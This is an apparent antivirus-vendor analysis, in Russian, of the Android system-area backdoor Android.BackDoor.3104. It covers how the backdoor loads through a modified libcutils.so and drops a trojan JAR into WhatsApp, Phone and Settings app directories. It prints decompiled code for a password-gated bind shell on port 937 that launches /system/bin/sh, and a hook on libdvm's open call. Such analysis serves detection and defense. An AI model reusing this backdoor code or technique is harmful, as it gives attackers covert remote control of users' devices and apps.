- SHA1: b4bf9edf011e35fd049c2862e898a492bc76dc7d (libmtd.so)
Описание
Android.BackDoor.3104 является бэкдором, заражающим системную область Android-устройств. Он представляет собой нативную Linux-библиотеку, которая помещает другого трояна — Android.Backdoor.854.origin — в директории целевых программ. Среди атакуемых рассматриваемой модификацией приложений —WhatsApp и WhatsApp Business. Кроме того, Android.BackDoor.3104 запускает на зараженном устройстве локальный сервер, который позволяет удаленному или локальному клиенту подключаться и работать в заданной злоумышленниками консольной программе mysh.
Принцип действия
Бэкдор располагается в /system/lib/libmtd.so. Его запуск происходит при обращении любого приложения к системной библиотеке /system/lib/libcutils.so, которая была модифицирована таким образом, что при ее использовании любой программой выполняется инициализация троянской библиотеки. Модифицированная библиотека детектируется Dr.Web как Android.BackDoor.3105.
При инициализации Android.BackDoor.3104 читает данные из /proc/self/cmdline. В соответствии с этими данными, в зависимости от того, использование какого приложения привело к его запуску, бэкдор выполняет различные действия.
Если данные из /proc/self/cmdline содержат строку wpa_supplicant, соответствующую одноименному системному приложению, троян запускает локальный сервер по адресу 0[.]0.0.0:937, который затем ожидает входящее соединение. Для авторизации сервер запрашивает пароль. После успешно установленного соединения локальный или удаленный клиент получает возможность подключаться и работать в консольной программе mysh, которая предварительно должна быть установлена на устройство или изначально присутствовать в его прошивке.
Фрагмент кода бэкдора, отвечающий за реализацию локального сервера для подключения к заданному консольному приложению:
socket_ = socket(AF_INET, SOCK_STREAM, 0);
if ( socket_ != -1 )
{
*(_DWORD *)&addr.sa_family = 0xA9030002;
*(_DWORD *)&addr.sa_data[2] = 0;
*(_DWORD *)&addr.sa_data[6] = 0;
*(_DWORD *)&addr.sa_data[10] = 0;
if ( bind(socket_, &addr, 16) != -1 && listen(socket_, 20) != -1 )
{
addr_len = 16;
while ( 1 )
{
connection_fd = accept(socket_, &sockaddr_, &addr_len);
pid = fork();
if ( !pid )
{
pid2 = fork();
if ( pid2 >= 1 )
goto LABEL_17;
pid = pid2;
if ( !pid2 )
{
close(socket_);
v10 = strlen(ENTERPASS);
write(connection_fd, ENTERPASS, v10);
memset_0((int)ch_arr, 0x1000u);
read(connection_fd, ch_arr, 0x1000u);
if ( strncmp(ch_arr, PASSWORD, 5u) )
{
close(connection_fd);
exit(0);
}
v11 = strlen(WELCOME);
write(connection_fd, WELCOME, v11);
pid = 0;
dup2(connection_fd, 0); // stdin
dup2(connection_fd, 1); // stdout
dup2(connection_fd, 2); // stderr
execl("/system/bin/sh", "mysh", 0);
}
}
close(connection_fd);
waitpid(pid, 0, 0);
}
}
}
Если данные из /proc/self/cmdline содержат строку /system/bin/app_process, Android.BackDoor.3104 читает строку из /system/etc/media_resource.conf. Последняя в дальнейшем используется при вызове метода из JAR-файла трояна Android.Backdoor.854.origin, который устанавливается во время второго этапа заражения устройства.
Далее Android.BackDoor.3104 перехватывает вызов функции open библиотеки libdvm:
j_bytehook_init(0, 0);
return j_bytehook_hook_single("libdvm.so", 0, "open", sub_1D728, 0, 0);
При его перехвате троян проверяет, содержит ли файл /proc/self/cmdline имя целевого приложения.
Целевыми являются следующие приложения:
- com.android.settings — системное приложение «Настройки»;
- com.android.phone — системное приложение «Телефон»;
- com.whatsapp.w4b — приложение WhatsApp Business;
- com.whatsapp — приложение WhatsApp.
В случае их обнаружения Android.BackDoor.3104 помещает JAR-файл PrivteProvide.jar трояна Android.Backdoor.854.origin в директории соответствующих программ:
- /data/data/com.android.phone/files/.art/PrivteProvide.jar
- /data/data/com.android.settings/files/.art/PrivteProvide.jar
- /data/data/com.whatsapp.w4b/files/.art/PrivteProvide.jar
- /data/data/com.whatsapp/files/.art/PrivteProvide.jar
После этого он вызывает метод getInstance(String) класса com.androidx.v13.PrivteProvide.
Копируемый модуль после запуска работает в контексте атакуемых приложений и способен выполнять различные вредоносные действия.
Android.BackDoor.3104 также содержит следующие функции:
- rtool_execStart(char *a1) — с ее помощью троян подключается к локальному серверу 0[.]0.0.0:937, вводит пароль и выполняет заданную команду;
- rtool_changeElf(char *a1, char *a2, char *s) — с ее помощью троян вносит изменения в заданный файл.
Подробнее об Android.BackDoor.3105
Подробнее об Android.Backdoor.854.origin